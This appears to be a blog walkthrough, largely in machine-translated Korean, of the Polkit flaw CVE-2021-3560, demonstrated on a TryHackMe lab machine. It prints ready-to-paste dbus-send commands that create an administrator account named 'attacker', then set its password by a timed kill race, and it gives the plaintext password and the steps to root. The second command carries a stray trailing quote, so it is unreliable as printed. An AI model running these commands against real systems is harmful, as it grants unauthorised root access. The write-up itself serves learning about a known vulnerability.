폴킷 CVE-2021-3560

배경



Polkit(AKA PolicyKit)은 시스템 전체 권한을 제어하기 위한 Unix 계열 OS의 필수 구성 요소입니다. 상상할 수 있듯이 이를 악용하면 불쾌한 권한 상승이 발생할 수 있습니다. 이에 취약한 몇 가지 주요 OS(Ubuntu 20.04 및 Red Hat Enterprise Linux 8 등)가 있어 매우 강력한 익스플로잇이 되었습니다.

작동 방식 및 이유 이해



The original report can be found here.



Polkit은 사용자 및 프로세스에 대한 권한을 할당하는 데 사용됩니다. 이 익스플로잇은 dbus 데몬이 Polkit에 올바른 ID를 전달할 수 있는 dbus-send 명령을 종료하는 기능을 이용합니다. 그러면 Polkit 오류가 발생하고 0(모든 권한/루트)으로 대체됩니다.

데모



I'll be using the polkit box from TryHackMe to demonstrate this
We'll follow through the tutorial process. Our first command is:



time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1


꽤 깁니다. 해부해 보겠습니다. 이 명령은 "시간"을 사용하여 실행되고 모니터링됩니다. dbus-send 명령을 종료해야 할 때를 확인하려면 시간이 필요하다는 것을 기억하십시오. dbus-send 명령은 공격자라는 사용자를 생성하도록 요청하고 응답을 다시 인쇄합니다. 일반적으로 GUI에서 이런 일이 발생하면 암호를 입력하라는 메시지가 표시됩니다.
다음 명령으로 이동합니다.

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!'


새 계정을 계속 만들려면 비밀번호를 입력해야 합니다. 이는 Sha512Crypt 해시를 입력으로 사용하고 이를 암호로 사용합니다. 일반 텍스트에서 암호는 "Expl01ted"입니다.
마지막으로 dbus-daemon이 Polkit에 ID를 제공하기 전에 명령을 종료하기 위해 이전에 찾은 지연을 사용합니다.
sudoer로 자동 추가되는 Expl01ted 암호를 가진 공격자라는 새 계정이 제공됩니다. 이 계정으로 su를 한 다음 root로 sudo su를 실행할 수 있습니다.

이것은 실제로 어떻게 보입니까?



솔직히? 생각보다 간단해 보입니다. 명령의 타이밍을 제외하면, 여기에 사용할 수 있는 복사 및 붙여넣기 dbus 명령이 있기 때문에 이것은 복잡성이 낮은 공격입니다. 그것들이 없더라도 dbus utils 사용에 대한 약간의 이해를 통해 이를 활용할 수 있습니다.

좋은 웹페이지 즐겨찾기